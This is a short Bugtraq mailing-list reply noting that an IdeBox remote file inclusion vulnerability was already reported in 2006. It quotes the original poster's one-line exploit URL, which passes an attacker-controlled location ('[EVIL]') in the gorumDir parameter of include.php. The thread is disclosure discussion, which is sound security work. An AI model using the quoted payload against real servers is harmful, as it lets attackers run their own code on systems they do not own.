Re: IdeBox (include) Remote File Inclusion Vulnerability

["Vladimir '3APA3A' Dubrovin" <3APA3A () SECURITY NNOV RU>]

Dear Ghost hacker,

 Old. Was reported by Kacper in 2006

 http://securityvulns.ru/Ndocument286.html

 

--Wednesday, June 25, 2008, 4:17:38 PM, you wrote to bugtraq () securityfocus com:



Gh> Exploit :
Gh> http://xxxx/[Path]/include.php?gorumDir=[EVIL]

-- 
~/ZARAZA http://securityvulns.com/
Таким образом этот путь дешевле и к нему легче добраться
тому, кто в состоянии до него добраться. (Твен)